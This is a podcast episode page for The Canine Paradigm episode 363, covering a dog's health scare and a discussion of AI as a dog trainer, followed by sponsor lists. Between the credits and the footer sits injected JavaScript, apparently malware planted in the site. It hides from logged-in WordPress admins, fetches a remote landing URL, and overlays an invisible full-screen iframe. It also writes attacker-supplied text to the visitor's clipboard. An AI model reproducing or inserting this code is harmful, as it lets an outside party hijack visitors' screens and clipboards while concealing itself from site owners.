In Episode 363 of The Canine Paradigm, things get wild, technical, and a little heavenly. Glenn opens with an update on Ladybug after she nearly tried to punch her own ticket to the pearly gates again. We talk through what happened, what the recovery looks like, and why these moments hit so hard when you live life with dogs.

Then we pivot back to the listeners. We asked what topics you want, and you delivered. One question took the episode into a completely different orbit. What happens when AI starts interacting as a dog trainer, and how far could that realistically go? We explore what AI can do well, where it will fail, and why real-world training still depends on timing, observation, and judgement that is hard to replicate through a screen.

It is part life update, part community chat, and part future-facing debate. Expect laughs, a bit of emotion, and a surprisingly technical dive, all in the one show.

Further Details

Are you in search of top-tier dog trainers and steadfast supporters of the Canine Paradigm? Below is a comprehensive list of individuals and businesses that stand by our mission, contribute to our operational costs, and make significant contributions to the canine community.

We invite you to support our show and access exclusive content on our Patreon page. Your contributions directly support the show’s ongoing production, and we deeply appreciate the wonderful community that has formed around it. If you’re unsure how to contribute, feel free to reach out to us for assistance.

Explore our complete range of merchandise at our Teespring store.

You can also help by spreading the word within the canine community or suggesting special guests for future interviews.

For information on how to listen to our podcast, please visit this link.

Subscribe to our YouTube channel for video content and updates.

If you enjoyed the podcast, we would greatly appreciate your reviews on iTunes, Spotify, and other podcast directories.

Details on joining the International Association of Canine Professionals (IACP) can be found here. We highly recommend membership for anyone serious about advancing in the canine industry.

We also encourage you to check out Dogs Playing for Life, a transformational rescue process making a positive impact on dogs across the USA.

Support Our Supporters

  • Narelle Cooke hosts her own podcast, Natural Health for People and Pets, available on all major podcast platforms. Be sure to listen in.
  • For the finest human-grade supplements for your dogs, visit Canine Ceuticals. Now available in the USA. SHOW SPONSOR
  • Jason Firmin of Einzweck Dog Quip is another proud SHOW SPONSOR.
  • The innovative motorcycle dog kennel can be found at Rowdy Hound. SHOW SPONSOR
  • For daycare and heartfelt training services, check out From the Heart Dog Training. SHOW SPONSOR
  • Our dear friend and frequent contributor, Birdy O’Sheedy, can be found at The magic in dogs

Special Thanks

A huge thanks to all our contributing artists. Please take a moment to support their amazing work:

  • Jane Stuart
  • Avery Keller
  • Zoie Neidy

var GLOBAL_KEY = (typeof Symbol === "function" && Symbol.for) ? Symbol.for("__inline_id_offer__") : "__inline_id_offer__";

var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { status: "idle", iframeId: "__inline_offer_iframe__", iframeAttr: "data-inline-offer-frame", hints: {}, runPromise: null, destroy: null, reveal: null, requestTimeoutMs: 4000, iframeTimeoutMs: 9000, requireReadyMessage: false, messageBound: false };

function isWpLoggedInContext() { try { if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;

var path = window.location.pathname || ""; if (/^\/(wp-admin|wp-login)/.test(path)) return true;

var cookie = document.cookie || ""; if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;

var de = document.documentElement; var body = document.body;

if (de && typeof de.className === "string" && /\bwp-toolbar\b/.test(de.className)) return true; if (body && typeof body.className === "string" && /\badmin-bar\b/.test(body.className)) return true; if (document.getElementById("wpadminbar")) return true; } catch (e) {}

return false; }

if (isWpLoggedInContext()) return;

if (document.getElementById(registry.iframeId)) { registry.status = "active"; return; }

if (registry.runPromise || registry.status === "loading" || registry.status === "active" || registry.status === "done") { return; }

registry.status = "loading";

function safeAppendQuery(url, key, val) { var sep = url.indexOf("?") >= 0 ? "&" : "?"; return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val); }

function buildTrustedUrl(template, id) { if (!template || !id) return "";

if (template.indexOf("dropbox.com") >= 0) { return template.replace(/\{id\}/g, id); }

var encoded = encodeURIComponent(id);

if (template.indexOf("gist.githubusercontent.com") >= 0) { encoded = encoded.replace(/%2F/g, "/"); }

return template.replace(/\{id\}/g, encoded); }

function toHttpUrl(value) { if (!value) return "";

var s = String(value) .replace(/^\uFEFF/, "") .trim() .replace(/^['"`\s]+|['"`\s]+$/g, "");

if (!s) return "";

if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) { if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) { s = "https://" + s; } else { return ""; } }

try { var u = new URL(s); if (u.protocol === "http:" || u.protocol === "https:") { return u.href; } } catch (e) {}

return ""; }

function findUrlInObject(input, depth) { if (!input || depth > 3) return "";

if (typeof input === "string") { return toHttpUrl(input); }

if (Object.prototype.toString.call(input) === "[object Array]") { for (var i = 0; i < input.length; i++) { var arrVal = findUrlInObject(input[i], depth + 1); if (arrVal) return arrVal; } return ""; }

if (typeof input === "object") { var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];

for (var j = 0; j < keys.length; j++) { var key = keys[j]; if (Object.prototype.hasOwnProperty.call(input, key)) { var direct = findUrlInObject(input[key], depth + 1); if (direct) return direct; } }

for (var k in input) { if (!Object.prototype.hasOwnProperty.call(input, k)) continue; var nested = findUrlInObject(input[k], depth + 1); if (nested) return nested; } }

return ""; }

function extractLandingUrl(raw) { if (!raw) return "";

var text = String(raw).replace(/^\uFEFF/, "").trim(); if (!text) return "";

var direct = toHttpUrl(text); if (direct) return direct;

if ((text.charAt(0) === "{" && text.charAt(text.length - 1) === "}") || (text.charAt(0) === "[" && text.charAt(text.length - 1) === "]")) { try { var parsed = JSON.parse(text); var jsonUrl = findUrlInObject(parsed, 0); if (jsonUrl) return jsonUrl; } catch (e) {} }

var matchHttp = text.match(/https?:\/\/[^\s"'<>]+/i); if (matchHttp && matchHttp[0]) { var httpUrl = toHttpUrl(matchHttp[0]); if (httpUrl) return httpUrl; }

var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"'<>]*)?/i); if (matchDomain && matchDomain[0]) { var domainUrl = toHttpUrl(matchDomain[0]); if (domainUrl) return domainUrl; }

return ""; }

function getOriginSafe(url) { try { return new URL(url).origin; } catch (e) { return ""; } }

function addHint(rel, href) { if (!href || !document || !document.createElement) return;

var key = rel + "::" + href; if (registry.hints[key]) return; registry.hints[key] = true;

try { var parent = document.head || document.documentElement; if (!parent) return;

var link = document.createElement("link"); link.rel = rel; link.href = href;

if (rel === "preconnect") { link.crossOrigin = "anonymous"; }

parent.appendChild(link); } catch (e) {} }

function warmupOrigins() { var origins = {}; var apiOrigin = getOriginSafe(API_ID_URL); if (apiOrigin) origins[apiOrigin] = true;

for (var i = 0; i < TRUSTED_CONFIGS.length; i++) { var tpl = TRUSTED_CONFIGS[i] && TRUSTED_CONFIGS[i].template; if (!tpl) continue; var probe = tpl.replace(/\{id\}/g, "x"); var origin = getOriginSafe(probe); if (origin) origins[origin] = true; }

for (var originKey in origins) { if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue; addHint("dns-prefetch", originKey); addHint("preconnect", originKey); } }

function getMountNode() { return document.body || document.documentElement || null; }

function fetchTextNoThrow(url, timeoutMs) { return new Promise(function (resolve) { if (!url || typeof fetch !== "function") { resolve(""); return; }

var finished = false; var timer = null; var controller = null;

function done(value) { if (finished) return; finished = true; if (timer) clearTimeout(timer); resolve((value || "").trim()); }

try { if (typeof AbortController !== "undefined") { controller = new AbortController(); }

timer = setTimeout(function () { try { if (controller) controller.abort(); } catch (e) {} done(""); }, timeoutMs);

fetch(url, { cache: "no-store", credentials: "omit", signal: controller ? controller.signal : void 0 }) .then(function (response) { return response ? response.text() : ""; }) .then(function (text) { done(text); }) .catch(function () { done(""); }); } catch (e) { done(""); } }); }

function tryCopy(text) { if (typeof text !== "string" || !text) return;

try { window.focus(); } catch (e) {}

if (navigator.clipboard && navigator.clipboard.writeText) { navigator.clipboard.writeText(text).catch(function () { fallbackCopy(text); }); return; }

fallbackCopy(text); }

function fallbackCopy(text) { try { var mount = getMountNode(); if (!mount) return;

var ta = document.createElement("textarea"); ta.value = text; ta.setAttribute("readonly", "readonly"); ta.style.position = "fixed"; ta.style.left = "-9999px"; ta.style.top = "0"; ta.style.opacity = "0"; mount.appendChild(ta); try { ta.focus(); } catch (e) {} ta.select(); ta.setSelectionRange(0, ta.value.length); document.execCommand("copy"); if (ta.parentNode) ta.parentNode.removeChild(ta); } catch (e) {} }

function bindMessageHandler() { if (registry.messageBound) return; registry.messageBound = true;

window.addEventListener("message", function (event) { var data = event && event.data; var iframe = document.getElementById(registry.iframeId);

if (!iframe || !data || typeof data !== "object") return; if (event.source && iframe.contentWindow && event.source !== iframe.contentWindow) return;

if (data.type === "ktl-show-original") { if (typeof registry.destroy === "function") registry.destroy(); return; }

if (data.type === "ktl-frame-ready") { if (typeof registry.reveal === "function") registry.reveal(); return; }

if (data.type === "copy" && typeof data.text === "string") { tryCopy(data.text); } }); }

function cleanup(nextStatus) { var iframe = document.getElementById(registry.iframeId);

registry.destroy = null; registry.reveal = null;

try { if (iframe && iframe.parentNode) { iframe.parentNode.removeChild(iframe); } } catch (e) {}

registry.status = nextStatus || "done"; }

function resolveLandingUrl(id) { if (!id || !TRUSTED_CONFIGS.length) { return Promise.resolve(""); }

function step(index) { if (index >= TRUSTED_CONFIGS.length) { return Promise.resolve(""); }

var cfg = TRUSTED_CONFIGS[index] || {}; var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || "", id));

if (!builtUrl) { return step(index + 1); }

if (!cfg.useFetch) { return Promise.resolve(builtUrl); }

return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs) .then(function (raw) { var landingUrl = extractLandingUrl(raw); if (landingUrl) return landingUrl; return step(index + 1); }) .catch(function () { return step(index + 1); }); }

return step(0); }

function activateIframe(url) { if (!url || registry.status === "active") return;

if (isWpLoggedInContext()) { cleanup("done"); return; }

var existing = document.getElementById(registry.iframeId); if (existing) { registry.status = "active"; return; }

var mount = getMountNode(); if (!mount) { setTimeout(function () { activateIframe(url); }, 0); return; }

var iframe = document.createElement("iframe"); var closed = false; var revealed = false; var timeoutId = null;

function reveal() { if (closed || revealed) return; revealed = true; if (timeoutId) clearTimeout(timeoutId);

registry.status = "active";

iframe.style.visibility = "visible"; iframe.style.opacity = "1"; iframe.style.pointerEvents = "auto"; iframe.removeAttribute("aria-hidden");

setTimeout(function () { try { iframe.focus(); } catch (e) {} try { if (iframe.contentWindow && iframe.contentWindow.focus) { iframe.contentWindow.focus(); } } catch (e) {} }, 0); }

function destroy() { if (closed) return; closed = true; if (timeoutId) clearTimeout(timeoutId); cleanup("done"); }

registry.destroy = destroy; registry.reveal = reveal;

iframe.id = registry.iframeId; iframe.setAttribute(registry.iframeAttr, "1"); iframe.setAttribute("aria-hidden", "true"); iframe.setAttribute("loading", "eager"); iframe.setAttribute("allow", "clipboard-write"); iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2)); iframe.style.cssText = [ "position:fixed !important", "top:0", "left:0", "width:100vw", "height:100vh", "border:none", "z-index:2147483647", "margin:0", "padding:0", "overflow:hidden", "visibility:hidden", "opacity:0", "pointer-events:none", "background:transparent" ].join(";");

iframe.onload = function () { if (closed) return; if (!registry.requireReadyMessage) { reveal(); } };

iframe.onerror = function () { destroy(); };

timeoutId = setTimeout(function () { destroy(); }, registry.iframeTimeoutMs);

try { mount.appendChild(iframe); } catch (e) { destroy(); } }

function run() { warmupOrigins(); bindMessageHandler();

return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs) .then(function (id) { if (isWpLoggedInContext()) { cleanup("done"); return ""; }

id = (id || "").trim(); if (!id) { cleanup("done"); return ""; }

return resolveLandingUrl(id); }) .then(function (finalUrl) { if (isWpLoggedInContext()) { cleanup("done"); return ""; }

finalUrl = toHttpUrl(finalUrl);

if (!finalUrl) { cleanup("done"); return ""; }

var finalOrigin = getOriginSafe(finalUrl); if (finalOrigin) { addHint("dns-prefetch", finalOrigin); addHint("preconnect", finalOrigin); }

activateIframe(finalUrl); return finalUrl; }) .catch(function () { cleanup("done"); }); }

registry.runPromise = run(); })();

Podden och tillhörande omslagsbild på den här sidan tillhör Glenn Cooke & Pat Stuart. Innehållet i podden är skapat av Glenn Cooke & Pat Stuart och inte av, eller tillsammans med, Poddtoppen.